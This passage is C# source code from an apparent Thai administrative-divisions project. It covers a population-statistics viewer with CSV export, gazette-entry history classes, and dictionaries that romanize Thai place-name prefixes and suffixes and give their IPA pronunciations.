builder.AppendLine("Maximum population: " + counter.MaxValue.ToString("##,###,##0"));
builder.AppendLine("Minimum population: " + counter.MinValue.ToString("##,###,##0"));
if ( (populationChanges != null) && (populationChanges.Any(x => x.Item2 != 0)) )
{
builder.AppendLine();
populationChanges.Sort((x, y) => y.Item2.CompareTo(x.Item2));
var winner = populationChanges.First();
var winnerEntry = list.First(x => x.Geocode == winner.Item1);
var looser = populationChanges.Last();
var looserEntry = list.First(x => x.Geocode == looser.Item1);
builder.AppendLine("Biggest winner: " + winner.Item2.ToString("##,###,##0") + " by " + winnerEntry.English + " (" + winner.Item1 + ")");
builder.AppendLine("Biggest looser: " + looser.Item2.ToString("##,###,##0") + " by " + looserEntry.English + " (" + looser.Item1 + ")");
}
if ( (populationChanges != null) && (populationChanges.Any(x => x.Item2 != 0)) )
{
builder.AppendLine();
populationChanges.Sort((x, y) => y.Item3.CompareTo(x.Item3));
var winner = populationChanges.First();
var winnerEntry = list.First(x => x.Geocode == winner.Item1);
var looser = populationChanges.Last();
var looserEntry = list.First(x => x.Geocode == looser.Item1);
builder.AppendLine("Biggest winner: " + winner.Item3.ToString("##0.00") + "% by " + winnerEntry.English + " (" + winner.Item1 + ")");
builder.AppendLine("Biggest looser: " + looser.Item3.ToString("##0.00") + "% by " + looserEntry.English + " (" + looser.Item1 + ")");
}
txtStatistics.Text = builder.ToString();
}
private IEnumerable<Tuple<Int32, Int32, Double>> CalcPopulationChanges(IEnumerable<PopulationDataEntry> entityList, PopulationDataEntry compare)
{
List<Tuple<Int32, Int32, Double>> result = new List<Tuple<Int32, Int32, Double>>();
if ( entityList.Any() && (compare != null) )
{
IEnumerable<PopulationDataEntry> thesabanList = null;
if ( (EntityTypeHelper.IsCompatibleEntityType(EntityType.Thesaban, entityList.First().Type)) )
{
thesabanList = compare.ThesabanList();
}
foreach ( PopulationDataEntry entity in entityList )
{
if ( entity.Geocode != 0 )
{
PopulationDataEntry compareEntry;
if ( EntityTypeHelper.IsCompatibleEntityType(EntityType.Thesaban, entity.Type) )
{
compareEntry = thesabanList.FirstOrDefault(x => x.Geocode == entity.Geocode);
}
else
{
compareEntry = compare.FindByCode(entity.Geocode);
}
if ( (compareEntry != null) && (compareEntry.Total > 0) )
{
Int32 populationChange = entity.Total - compareEntry.Total;
Double changePercent = 100.0 * populationChange / compareEntry.Total;
result.Add(Tuple.Create(entity.Geocode, populationChange, changePercent));
}
}
}
}
return result;
}
private PopulationDataEntry FindCompare()
{
PopulationDataEntry result = null;
if ( chkCompare.Checked )
{
Int32 year = Convert.ToInt32(edtCompareYear.Value);
result = TambonHelper.GetCountryPopulationData(year);
}
return result;
}
private IEnumerable<PopulationDataEntry> CalculateList()
{
List<PopulationDataEntry> list = new List<PopulationDataEntry>();
List<EntityType> entities = new List<EntityType>();
if ( rbx_Changwat.Checked )
{
entities.Add(EntityType.Changwat);
entities.Add(EntityType.Bangkok);
list.AddRange(BaseEntry.FlatList(entities));
if ( entities.Contains(BaseEntry.Type) )
{
list.Add(BaseEntry);
}
}
else if ( rbxAmphoeKhet.Checked )
{
if ( chkAmphoe.Checked )
{
entities.Add(EntityType.Amphoe);
}
if ( chkKhet.Checked )
{
entities.Add(EntityType.Khet);
}
list.AddRange(_baseEntry.FlatList(entities));
}
else if ( rbxTambonKhwaeng.Checked )
{
if ( chkTambon.Checked )
{
entities.Add(EntityType.Tambon);
}
if ( chkKhwaeng.Checked )
{
entities.Add(EntityType.Khwaeng);
}
list.AddRange(_baseEntry.FlatList(entities));
}
else if ( rbxThesaban.Checked )
{
if ( chkThesabanTambon.Checked )
{
entities.Add(EntityType.ThesabanTambon);
}
if ( chkThesabanMueang.Checked )
{
entities.Add(EntityType.ThesabanMueang);
}
if ( chkThesabanNakhon.Checked )
{
entities.Add(EntityType.ThesabanNakhon);
}
foreach ( PopulationDataEntry entity in _baseEntry.ThesabanList() )
{
if ( entities.Contains(entity.Type) )
{
list.Add(entity);
}
}
}
list.Sort(delegate(PopulationDataEntry p1, PopulationDataEntry p2)
{
return (p2.Total.CompareTo(p1.Total));
});
return list;
}
private void FillListView(IEnumerable<PopulationDataEntry> entityList, IEnumerable<Tuple<Int32, Int32, Double>> compare)
{
lvData.BeginUpdate();
lvData.Items.Clear();
if ( entityList.Any() )
{
foreach ( PopulationDataEntry entity in entityList )
{
ListViewItem listViewItem = lvData.Items.Add(entity.English);
listViewItem.SubItems.Add(entity.Name);
listViewItem.SubItems.Add(entity.Geocode.ToString());
listViewItem.SubItems.Add(entity.Total.ToString());
if ( compare != null )
{
var compareEntry = compare.FirstOrDefault(x => x.Item1 == entity.Geocode);
if ( compareEntry != null )
{
listViewItem.SubItems.Add(compareEntry.Item2.ToString());
listViewItem.SubItems.Add(compareEntry.Item3.ToString("##0.00"));
}
}
}
}
lvData.EndUpdate();
}
private void chkEntity_CheckStateChanged(object sender, EventArgs e)
{
UpdateList();
}
private void rbxEntity_CheckedChanged(object sender, EventArgs e)
{
UpdateEntityTypeCheckboxes();
UpdateList();
}
private void btnExportCSV_Click(object sender, EventArgs e)
{
const Char csvCharacter = ',';
SaveFileDialog dialog = new SaveFileDialog();
dialog.Filter = "CSV Files|*.csv|All files|*.*";
if ( dialog.ShowDialog() == DialogResult.OK )
{
StreamWriter fileWriter = new StreamWriter(dialog.FileName);
var list = CalculateList();
var compare = FindCompare();
foreach ( PopulationDataEntry entity in list )
{
fileWriter.Write(entity.Name);
fileWriter.Write(csvCharacter);
fileWriter.Write(entity.English);
fileWriter.Write(csvCharacter);
fileWriter.Write(entity.Geocode.ToString(CultureInfo.InvariantCulture));
fileWriter.Write(csvCharacter);
fileWriter.Write(entity.Total.ToString(CultureInfo.InvariantCulture));
fileWriter.Write(csvCharacter);
fileWriter.Write(entity.Male.ToString(CultureInfo.InvariantCulture));
fileWriter.Write(csvCharacter);
fileWriter.Write(entity.Female.ToString(CultureInfo.InvariantCulture));
fileWriter.Write(csvCharacter);
fileWriter.Write(entity.Households.ToString(CultureInfo.InvariantCulture));
if ( (compare != null) && (entity.Geocode != 0) )
{
PopulationDataEntry compareEntry = compare.FindByCode(entity.Geocode);
if ( (compareEntry != null) && (compareEntry.Total > 0) )
{
Int32 populationChange = entity.Total - compareEntry.Total;
Double changePercent = 100.0 * populationChange / compareEntry.Total;
fileWriter.Write(csvCharacter);
fileWriter.Write(populationChange.ToString(CultureInfo.InvariantCulture));
fileWriter.Write(csvCharacter);
fileWriter.Write(changePercent.ToString("##0.##", CultureInfo.InvariantCulture));
}
}
fileWriter.WriteLine();
}
fileWriter.Close();
}
}
private void PopulationByEntityTypeViewer_Load(object sender, EventArgs e)
{
edtCompareYear.Maximum = TambonHelper.PopulationStatisticMaxYear;
edtCompareYear.Minimum = TambonHelper.PopulationStatisticMinYear;
edtCompareYear.Value = edtCompareYear.Maximum;
edtCompareYear.Enabled = chkCompare.Checked;
}
private void chkCompare_CheckedChanged(object sender, EventArgs e)
{
edtCompareYear.Enabled = chkCompare.Checked;
UpdateList();
}
private void edtCompareYear_ValueChanged(object sender, EventArgs e)
{
UpdateList();
}
private void btnCsvAllYears_Click(object sender, EventArgs e)
{
const Char csvCharacter = ',';
SaveFileDialog dialog = new SaveFileDialog();
dialog.Filter = "CSV Files|*.csv|All files|*.*";
if ( dialog.ShowDialog() == DialogResult.OK )
{
Dictionary<Int32, PopulationDataEntry> dataByYear = new Dictionary<Int32, PopulationDataEntry>();
for ( Int32 year = TambonHelper.PopulationStatisticMinYear ; year < TambonHelper.PopulationStatisticMaxYear ; year++ )
{
dataByYear[year] = TambonHelper.GetCountryPopulationData(year);
}
StreamWriter fileWriter = new StreamWriter(dialog.FileName);
var list = CalculateList();
foreach ( PopulationDataEntry entity in list )
{
fileWriter.Write(entity.Name);
fileWriter.Write(csvCharacter);
fileWriter.Write(entity.English);
fileWriter.Write(csvCharacter);
fileWriter.Write(entity.Geocode.ToString(CultureInfo.InvariantCulture));
for ( Int32 year = TambonHelper.PopulationStatisticMinYear ; year < TambonHelper.PopulationStatisticMaxYear ; year++ )
{
var data = dataByYear[year];
PopulationDataEntry entityEntryOfYear = data.FindByCode(entity.Geocode);
fileWriter.Write(csvCharacter);
if ( entityEntryOfYear != null )
{
fileWriter.Write(entityEntryOfYear.Total.ToString(CultureInfo.InvariantCulture));
}
}
fileWriter.WriteLine();
}
fileWriter.Close();
}
}
private void cbxChangwat_SelectedValueChanged(object sender, EventArgs e)
{
BaseEntry = cbxChangwat.SelectedItem as PopulationDataEntry;
}
}
}<file_sep>/TambonMain/CreationStatistics.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public abstract class CreationStatistics : AnnouncementStatistics
{
#region properties
private FrequencyCounter _creationsPerAnnouncement = new FrequencyCounter();
protected FrequencyCounter CreationsPerAnnouncement
{
get
{
return _creationsPerAnnouncement;
}
}
private Int32 _numberOfCreations;
public Int32 NumberOfCreations
{
get
{
return _numberOfCreations;
}
}
protected Int32[] _numberOfCreationsPerChangwat = new Int32[100];
private Dictionary<Int32, Int32> _effectiveDayOfYear = new Dictionary<int, int>();
public Dictionary<Int32, Int32> EffectiveDayOfYear
{
get
{
return _effectiveDayOfYear;
}
}
#endregion properties
#region methods
protected override void Clear()
{
base.Clear();
_creationsPerAnnouncement = new FrequencyCounter();
_numberOfCreationsPerChangwat = new Int32[100];
_numberOfCreations = 0;
}
protected abstract Boolean EntityFitting(EntityType iEntityType);
protected Boolean ContentFitting(GazetteOperationBase content)
{
Boolean result = false;
GazetteCreate create = content as GazetteCreate;
if ( create != null )
{
result = EntityFitting(create.type);
}
return result;
}
protected virtual void ProcessContent(GazetteCreate content)
{
_numberOfCreations++;
UInt32 changwatGeocode = content.geocode;
while ( changwatGeocode > 100 )
{
changwatGeocode = changwatGeocode / 100;
}
_numberOfCreationsPerChangwat[changwatGeocode]++;
}
protected override void ProcessAnnouncement(GazetteEntry entry)
{
Int32 count = 0;
UInt32 provinceGeocode = 0;
foreach ( var content in entry.Items )
{
var contentBase = content as GazetteOperationBase;
if ( ContentFitting(contentBase) )
{
count++;
ProcessContent(content as GazetteCreate);
provinceGeocode = contentBase.geocode;
while ( provinceGeocode / 100 != 0 )
{
provinceGeocode = provinceGeocode / 100;
}
}
}
if ( count > 0 )
{
NumberOfAnnouncements++;
_creationsPerAnnouncement.IncrementForCount(count, provinceGeocode);
if ( entry.effective.Year > 1 )
{
DateTime dummy = new DateTime(2004, entry.effective.Month, entry.effective.Day);
Int32 index = dummy.DayOfYear;
if ( !_effectiveDayOfYear.ContainsKey(index) )
{
_effectiveDayOfYear[index] = 0;
}
_effectiveDayOfYear[index]++;
}
}
}
#endregion methods
}
}<file_sep>/TambonMain/GazetteAreaChange.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class GazetteAreaChange
{
/// <summary>
/// Converts the gazette operation into a entity history entry.
/// </summary>
/// <returns>Corresponding history entry.</returns>
public override HistoryEntryBase ConvertToHistory()
{
var historyArea = new HistoryAreaChange();
if ( this.oldareaSpecified )
{
historyArea.oldarea = this.oldarea;
historyArea.oldareaSpecified = true;
}
if ( this.newareaSpecified )
{
historyArea.newarea = this.newarea;
historyArea.newareaSpecified = true;
}
if ( this.typeSpecified )
{
historyArea.type = this.type;
historyArea.typeSpecified = true;
}
return historyArea;
}
}
}<file_sep>/TambonMain/GazetteRelated.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
partial class GazetteRelated
{
/// <summary>
/// Creates a new instance of <see cref="GazetteRelated"/> linking an Gazette entry.
/// </summary>
/// <param name="entry">Gazette entry to which the link should be made.</param>
public GazetteRelated(GazetteEntry entry)
{
if ( entry == null )
{
throw new ArgumentNullException("entry");
}
this.relationField = GazetteRelation.Mention;
this.date = entry.publication;
this.dateSpecified = true;
this.issue = entry.issue;
this.page = entry.FirstPage;
this.volume = entry.volume;
}
}
}<file_sep>/TambonMain/GazetteCreate.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class GazetteCreate
{
/// <summary>
/// Gets the geocodes of the entities from which the entity was split off.
/// </summary>
/// <returns>List of geocodes.</returns>
public IEnumerable<UInt32> SplitFrom()
{
var parents = new List<UInt32>();
foreach ( var item in Items )
{
if ( parentSpecified )
{
parents.Add(parent);
}
var itemReassign = item as GazetteReassign;
if ( itemReassign != null )
{
if ( itemReassign.oldgeocodeSpecified )
{
parents.Add(itemReassign.oldgeocode / 100);
}
if ( itemReassign.oldownerSpecified )
{
parents.Add(itemReassign.oldowner);
}
}
var itemAreaChange = item as GazetteAreaChange;
if ( itemAreaChange != null )
{
if ( itemAreaChange.geocodeSpecified )
{
parents.Add(itemAreaChange.geocode);
}
}
}
return parents.Distinct();
}
/// <summary>
/// Converts the gazette operation into a entity history entry.
/// </summary>
/// <returns>Corresponding history entry.</returns>
public override HistoryEntryBase ConvertToHistory()
{
var historyCreate = new HistoryCreate();
historyCreate.splitfrom.AddRange(this.SplitFrom());
historyCreate.type = this.type;
Int32 subdivisions = 0;
switch ( historyCreate.type )
{
case EntityType.Amphoe:
case EntityType.KingAmphoe:
historyCreate.subdivisiontype = EntityType.Tambon;
historyCreate.subdivisiontypeSpecified = true;
break;
case EntityType.Tambon:
historyCreate.subdivisiontype = EntityType.Muban;
historyCreate.subdivisiontypeSpecified = true;
break;
case EntityType.Khet:
historyCreate.subdivisiontype = EntityType.Khwaeng;
historyCreate.subdivisiontypeSpecified = true;
break;
}
foreach ( var item in Items )
{
var itemReassign = item as GazetteReassign;
if ( itemReassign != null )
{
subdivisions++;
if ( itemReassign.typeSpecified )
{
historyCreate.subdivisiontype = itemReassign.type;
historyCreate.subdivisiontypeSpecified = true;
}
}
}
if ( subdivisions > 0 )
{
historyCreate.subdivisions = subdivisions;
historyCreate.subdivisionsSpecified = true;
}
else
{
historyCreate.subdivisiontypeSpecified = false;
}
return historyCreate;
}
}
}<file_sep>/TambonHelpers/ThaiLanguageHelper.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Helper class for Thai language, e.g. romanization.
/// </summary>
public static class ThaiLanguageHelper
{
/// <summary>
/// Prefix for villages "Ban" (บ้าน) in Thai.
/// </summary>
public const String Ban = "บ้าน";
/// <summary>
/// Common suffixes for Thai names with their standard romanization.
/// </summary>
public static Dictionary<String, String> NameSuffixRomanizations = new Dictionary<String, String>()
{
{"เหนือ", "Nuea"}, //North
{"ใต้", "Tai"}, // South
{"พัฒนา", "Phatthana"}, // Development
{"ใหม่", "Mai"}, // New
{"ทอง", "Thong"}, // Gold
{"น้อย","Noi"}, // Small
{"ใน", "Nai"}, // within
// less common ones
{ "สามัคคี", "Samakkhi" }, // Harmonious
{ "ใหม่พัฒนา", "Mai Phatthana"}, // New Development
{"ตะวันออก", "Tawan Ok"}, // East
{"ตะวันตก", "Tawan Tok"}, // West
{"ออก", "Ok"}, // up
{"ตก", "Tok"}, // down
{"สอง", "Song"}, // second
{"กลาง", "Klang"}, // Middle
{"คำ", "Kham"}, // Word
{"ใหญ่", "Yai"}, // Large
{"เล็ก","Lek"}, // small
{"เก่า", "Kao"}, // Old
{"สันติสุข", "Santi Suk"}, // peace
{"เจริญ", "Charoen"}, // growth
{"ศรีเจริญ", "Si Charoen"},
{"เจริญสุข","<NAME>"},
{"บูรพา", "Burapha"}, // East
{"สวรรค์", "Sawan"}, // Heaven
{"หลวง", "Luang"}, // Big
{"งาม", "Ngam"}, // Beautiful
{"สมบูรณ์", "Sombun"}, // Complete
{"สะอาด", "Sa-at"}, // clean
{"นอก","Nok"}, // outside
{"แดง","Daeng"}, // red
{"ดง","Dong"},
{"ไร","Rai"}, // Gain
{"ราษฏร์","Rat"}, // people
{"อรุณ","Arun"}, // dawn
{"เรือ", "Ruea"}, // boat
{"เฒ่า", "Thao"}, // old
{"ยืน", "Yuen"}, // durable
{"ยาง","Yang"}, // Rubber
{"บน", "Bon"}, // upon
{"อุดม", "Udom"}, // rich
{"เดิม","Doem"}, // old
{"บำรุง","Bamrung"}, // administrate
{"เตียน","Tian"},
{"เหลี่ยม","Liam"},
{"คีรี","Khiri"},
{"เด่น","Den"}, // notable
{"สำนัก","Samnak"}, // office
{"มงคล","Mongkhon"}, // dragon
{"ศิริ","Siri"},
{"ถาวร","Thawon"}, // permanent
{"นคร", "Nakhon"}, // city
{"สูง","Sung"}, // high
{"ต่ำ","Tam"}, // low
{"หัก","Hak"}, // less
{"หนึ่ง","Nueng"}, // first, one
{"ยาว","Yao"}, // Long
{"รุ่งเรือง","Rung Rueang"}, // prosperous
{"สำโรง","Samrong"}, // Sterculia foetida L.
{"นิคม","Nikhom"}, // plantation
{"บุรี","Buri"}, // town
{"วัฒนา", "Watthana"} // development
};
/// <summary>
/// Common suffixes for Thai names with their pronunciation in IPA.
/// </summary>
public static Dictionary<String, String> NameSuffixIpa = new Dictionary<String, String>()
{
{"เหนือ", "nɯ̌a"}, //North
//{"ใต้", "Tai"}, // South
//{"พัฒนา", "Phatthana"}, // Development
// {"ใหม่", "mǎj"}, // New
{"ทอง", "tʰɔ̄ːŋ"}, // Gold
{"น้อย","nɔ́ːj"}, // Small
// {"ใน", "Nai"}, // within
// less common ones
//{ "สามัคคี", "Samakkhi" }, // Harmonious
//{ "ใหม่พัฒนา", "Mai Phatthana"}, // New Development
//{"ตะวันออก", "Tawan Ok"}, // East
//{"ตะวันตก", "Tawan Tok"}, // West
//{"ออก", "Ok"}, // up
//{"ตก", "Tok"}, // down
//{"สอง", "Song"}, // second
//{"กลาง", "Klang"}, // Middle
//{"คำ", "Kham"}, // Word
{"ใหญ่", "jàj"}, // Large
//{"เล็ก","Lek"}, // small
//{"เก่า", "Kao"}, // Old
//{"สันติสุข", "Santi Suk"}, // peace
{"เจริญ", "tɕā.rɤ̄ːn"}, // growth
//{"ศรีเจริญ", "Si Charoen"},
//{"เจริญสุข","Charoen Suk"},
//{"บูรพา", "Burapha"}, // East
//{"สวรรค์", "Sawan"}, // Heaven
{"หลวง", "lǔaŋ"}, // Big
//{"งาม", "Ngam"}, // Beautiful
//{"สมบูรณ์", "Sombun"}, // Complete
//{"สะอาด", "Sa-at"}, // clean
//{"นอก","Nok"}, // outside
{"แดง","dɛ̄ːŋ"}, // red
//{"ดง","Dong"},
//{"ไร","Rai"}, // Gain
{"ราษฏร์","râːt"}, // people
//{"อรุณ","Arun"}, // dawn
//{"เรือ", "Ruea"}, // boat
//{"เฒ่า", "Thao"}, // old
//{"ยืน", "Yuen"}, // durable
//{"ยาง","Yang"}, // Rubber
//{"บน", "Bon"}, // upon
//{"อุดม", "Udom"}, // rich
//{"เดิม","Doem"}, // old
//{"บำรุง","Bamrung"}, // administrate
//{"เตียน","Tian"},
//{"เหลี่ยม","Liam"},
//{"คีรี","Khiri"},
//{"เด่น","Den"}, // notable
//{"สำนัก","Samnak"}, // office
//{"มงคล","Mongkhon"}, // dragon
//{"ศิริ","Siri"},
//{"ถาวร","Thawon"}, // permanent
{"นคร", "náʔkʰɔ̄ːn"}, // city
{"สูง","sǔːŋ"}, // high
//{"ต่ำ","Tam"}, // low
//{"หัก","Hak"}, // less
//{"หนึ่ง","Nueng"}, // first, one
{"ยาว","jāːw"}, // Long
//{"รุ่งเรือง","Rung Rueang"}, // prosperous
//{"สำโรง","Samrong"}, // Sterculia foetida L.
{"นิคม","ní.kʰōm"}, // plantation
{"บุรี","būrīː"}, // town
{"วัฒนา", "wát.tʰā.nāː"} // development
};
/// <summary>
/// Common prefixes for Thai names with their standard romanization.
/// </summary>
public static Dictionary<String, String> NamePrefixRomanizations = new Dictionary<String, String>()
{
{"ปากคลอง", "Pak Khlong"}, // Mouth of Canal
{"คลอง", "Khlong"}, // Canal
{"น้ำ","Nam"}, // Water (river)
{"ปากน้ำ","Pak Nam"}, // River mouth
{"แม่","Mae"}, // Mother
{"วัง","Wang"}, // Palace
{"หนอง","Nong"}, // Swamp
{"หัว","Hua"}, // Head
{"ตลาด","Talat"}, // Market
{"ห้วย", "Huai"}, // Creek
{"ดอน","Don"}, // Hill
{"แหลม","Laem"}, // Cape
{"ท่า","Tha"}, // position
{"โคก","Khok"}, // mound
{"บาง","Bang"}, // village
{"นา","Na"}, // field
{"ลาด","Lat"}, // slope
{"ไผ่","Phai"}, // Bamboo
{"วัด","Wat"}, // Temple
{"พระ","Phra"}, // holy
{"ศรี","Si"},
{"โนน","Non"},
{"โพธิ์","Pho"},
{"หอม","Hom"}, // good smell
{"บึง","Bueng"}, // swamp
{"หลัก","Lak"}, // pillar
{"ปาก","Pak"}, // mouth
{"เกาะ","Ko"}, // Island
{"ป่า","Pa"}, // forest
{"มาบ","Map"}, // marshland
{"อ่าง","Ang"}, // Basin
{"หาด","Hat"}, // Beach
{"สวน","Suan"}, // Garden
{"อ่าว","Ao"}, // Bay
{"ถ้ำ","Tham"}, // cave
{"ดอย","Doi"}, // mountain
{"ภู","Phu"}, // Hill
{"ซับ","Sap"}, // absorb
{"สัน","San"}, // crest
{"โป่ง","Pong"}, // large
{"ต้น","Ton"}, // Beginning
{"เชียง","Chiang"}, //
{"เหล่า","Lao"},
{"ชัย","Chai"},
{"โพรง","Phrong"},
{"บ้าน","Ban"}, // house
{"หมู่บ้าน","Mu Ban"}, // village
{"คุย","Khui"}, // talk
{"ตรอก","Trok"}, // lane
{"หมื่น","Muen"}, // ten thousand
{"บุ่ง","Bung"}, // Marsh
{"กุด","Kut"},
{"บัว","Bua"}, // Lotus
{"ควน","Khuan"},
{"หลัง","Lang"}, // Behind
{"ถนน","Thanon"}, // Street
{"ดวง","Duang"}, // disc
{"ย่อย","Yoi"}, // minor, subordinate
{"ซอย","Soi"}, // side-street
{"เมือง","Mueang"} // town
};
/// <summary>
/// Common prefixes for Thai names with their pronunciation in IPA.
/// </summary>
public static Dictionary<String, String> NamePrefixIpa = new Dictionary<String, String>()
{
{"ปากคลอง", "pàːk kʰlɔ̄ːŋ"}, // Mouth of Canal
{"คลอง", "kʰlɔ̄ːŋ"}, // Canal
{"น้ำ","náːm"}, // Water (river)
{"ปากน้ำ","pàːk náːm"}, // River mouth
{"แม่","mɛ̂ː"}, // Mother
{"วัง","wāŋ"}, // Palace
{"หนอง","nɔ̌ːŋ"}, // Swamp
//{"หัว","Hua"}, // Head
//{"ตลาด","Talat"}, // Market
{"ห้วย", "hûaj"}, // Creek
{"ดอน","dɔ̄ːn"}, // Hill
//{"แหลม","Laem"}, // Cape
//{"ท่า","Tha"}, // position
{"โคก","kʰôːk"}, // mound
{"บาง","bāːŋ"}, // village
{"นา","nāː"}, // field
{"ลาด","lâːt"}, // slope
//{"ไผ่","Phai"}, // Bamboo
//{"วัด","Wat"}, // Temple
{"พระ","pʰráʔ"}, // holy
{"ศรี","sǐː"},
//{"โนน","Non"},
//{"โพธิ์","Pho"},
//{"หอม","Hom"}, // good smell
{"บึง","bɯ̄ŋ"}, // swamp
{"หลัก","làk"}, // pillar
{"ปาก","pàːk"}, // mouth
{"เกาะ","kɔ̀ʔ"}, // Island
{"ป่า","pàː"}, // forest
//{"มาบ","Map"}, // marshland
//{"อ่าง","Ang"}, // Basin
//{"หาด","Hat"}, // Beach
{"สวน","sǔan"}, // Garden
//{"อ่าว","Ao"}, // Bay
//{"ถ้ำ","Tham"}, // cave
//{"ดอย","Doi"}, // mountain
{"ภู","pʰūː"}, // Hill
//{"ซับ","Sap"}, // absorb
//{"สัน","San"}, // crest
//{"โป่ง","Pong"}, // large
//{"ต้น","Ton"}, // Beginning
{"เชียง","tɕʰīaŋ"}, //
//{"เหล่า","Lao"},
//{"ชัย","Chai"},
//{"โพรง","Phrong"},
{"บ้าน","bâːn"}, // house
//{"หมู่บ้าน","Mu Ban"}, // village
//{"คุย","Khui"}, // talk
//{"ตรอก","Trok"}, // lane
//{"หมื่น","Muen"}, // ten thousand
//{"บุ่ง","Bung"}, // Marsh
//{"กุด","Kut"},
{"บัว","būa"}, // Lotus
//{"ควน","Khuan"},
//{"หลัง","Lang"}, // Behind
//{"ถนน","Thanon"}, // Street
//{"ดวง","Duang"}, // disc
//{"ย่อย","Yoi"}, // minor, subordinate
//{"ซอย","Soi"}, // side-street
{"เมือง","mɯ̄aŋ"} // town
};
/// <summary>
/// Retrieves family name from a " " separated full name.
/// </summary>
/// <param name="value">Full name.</param>
/// <returns>Last name.</returns>
public static String LastName(this String value)
{
var names = value.Split(' ');
var result = value.Replace(names.First() + " ", "");
return result;
}
}
}<file_sep>/TambonUI/PopulationByEntityTypeViewer.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace De.AHoerstemeier.Tambon
{
public partial class PopulationByEntityTypeViewer : Form
{
// ToDo: Sort by Column
// Export as CSV
#region fields
/// <summary>
/// Country base entity.
/// </summary>
private Entity _country;
/// <summary>
/// Current base entity.
/// </summary>
private Entity _baseEntity;
/// <summary>
/// All local government entities.
/// </summary>
private List<Entity> _localGovernments;
/// <summary>
/// All active entities.
/// </summary>
private List<Entity> _allEntities;
#endregion fields
#region properties
/// <summary>
/// Gets or sets the data source to be used for the population data.
/// </summary>
/// <value>The data source to be used for the population data.</value>
public PopulationDataSourceType PopulationDataSource
{
get;
set;
}
/// <summary>
/// Gets or sets the reference year to be used for the population data.
/// </summary>
/// <value>The reference year to be used for the population data.</value>
public Int16 PopulationReferenceYear
{
get;
set;
}
#endregion properties
#region constructor
/// <summary>
/// Creates a new instance of <see cref="PopulationByEntityTypeViewer"/>.
/// </summary>
public PopulationByEntityTypeViewer()
{
InitializeComponent();
UpdateEntityTypeCheckboxes();
}
#endregion constructor
#region UI event handler
/// <summary>
/// Handles the change of the selected entity types to include.
/// </summary>
/// <param name="sender">Event sender.</param>
/// <param name="e">Event arguments.</param>
private void chkEntity_CheckStateChanged(Object sender, EventArgs e)
{
UpdateList();
}
/// <summary>
/// Handles the change of the selected entity type group.
/// </summary>
/// <param name="sender">Event sender.</param>
/// <param name="e">Event arguments.</param>
private void rbxEntity_CheckedChanged(Object sender, EventArgs e)
{
UpdateEntityTypeCheckboxes();
UpdateList();
}
/// <summary>
/// Initializes the control.
/// </summary>
/// <param name="sender">Event sender.</param>
/// <param name="e">Event arguments.</param>
private void PopulationByEntityTypeViewer_Load(Object sender, EventArgs e)
{
InitializeData();
FillProvincesCombobox();
_baseEntity = _country;
edtCompareYear.Maximum = GlobalData.PopulationStatisticMaxYear;
edtCompareYear.Minimum = GlobalData.PopulationStatisticMinYear;
edtCompareYear.Value = edtCompareYear.Maximum;
edtCompareYear.Enabled = chkCompare.Checked;
UpdateList();
}
/// <summary>
/// Handles whether a comparison with another year shall be done.
/// </summary>
/// <param name="sender">Event sender.</param>
/// <param name="e">Event arguments.</param>
private void chkCompare_CheckedChanged(Object sender, EventArgs e)
{
edtCompareYear.Enabled = chkCompare.Checked;
UpdateList();
}
/// <summary>
/// Handles the change of the year with which the data shall be compared.
/// </summary>
/// <param name="sender">Event sender.</param>
/// <param name="e">Event arguments.</param>
private void edtCompareYear_ValueChanged(Object sender, EventArgs e)
{
Int16 newYear = Convert.ToInt16(edtCompareYear.Value);
if ( chkCompare.Checked )
{
if ( !_country.population.Any(x => x.source == PopulationDataSource && x.Year == newYear) )
{
GlobalData.LoadPopulationData(PopulationDataSource, newYear);
// GlobalData.CompleteGeocodeList creates a clone, thus need to use the new instances to get the new population data
_country = GlobalData.CompleteGeocodeList();
_country.PropagateObsoleteToSubEntities();
_allEntities = _country.FlatList().Where(x => !x.IsObsolete).Where(x => x.type != EntityType.Muban && x.type != EntityType.Chumchon).ToList();
// re-calculate the local government populations
var allTambon = _allEntities.Where(x => x.type == EntityType.Tambon).ToList();
Entity.CalculateLocalGovernmentPopulation(_localGovernments, allTambon, PopulationDataSource, Convert.ToInt16(edtCompareYear.Value));
UpdateBaseEntity(); // need to get _baseEntity
}
UpdateList();
}
}
/// <summary>
/// Handles the change of the selected province.
/// </summary>
/// <param name="sender">Event sender.</param>
/// <param name="e">Event arguments.</param>
private void cbxChangwat_SelectedValueChanged(Object sender, EventArgs e)
{
UpdateBaseEntity();
}
#endregion UI event handler
/// <summary>
/// Initializes the data for the view.
/// </summary>
private void InitializeData()
{
_country = GlobalData.CompleteGeocodeList();
_country.PropagateObsoleteToSubEntities();
_allEntities = _country.FlatList().Where(x => !x.IsObsolete).Where(x => x.type != EntityType.Muban && x.type != EntityType.Chumchon).ToList();
_localGovernments = new List<Entity>();
var allLocalGovernmentParents = _allEntities.Where(x => x.type == EntityType.Tambon || x.type == EntityType.Changwat).ToList();
_localGovernments.AddRange(_allEntities.Where(x => x.type.IsLocalGovernment()));
foreach ( var tambon in allLocalGovernmentParents )
{
var localGovernmentEntity = tambon.CreateLocalGovernmentDummyEntity();
if ( localGovernmentEntity != null && !localGovernmentEntity.IsObsolete )
{
_localGovernments.Add(localGovernmentEntity);
_allEntities.Add(localGovernmentEntity);
}
}
var allTambon = _allEntities.Where(x => x.type == EntityType.Tambon).ToList();
GlobalData.LoadPopulationData(PopulationDataSource, PopulationReferenceYear);
Entity.CalculateLocalGovernmentPopulation(_localGovernments, allTambon, PopulationDataSource, PopulationReferenceYear);
}
/// <summary>
/// Updates the <see cref="Control.Enabled"/> for the radiobuttons of the subdivision types.
/// </summary>
private void UpdateEntityTypeCheckboxes()
{
chkAmphoe.Enabled = rbxAmphoeKhet.Checked;
chkKhet.Enabled = rbxAmphoeKhet.Checked;
chkTambon.Enabled = rbxTambonKhwaeng.Checked;
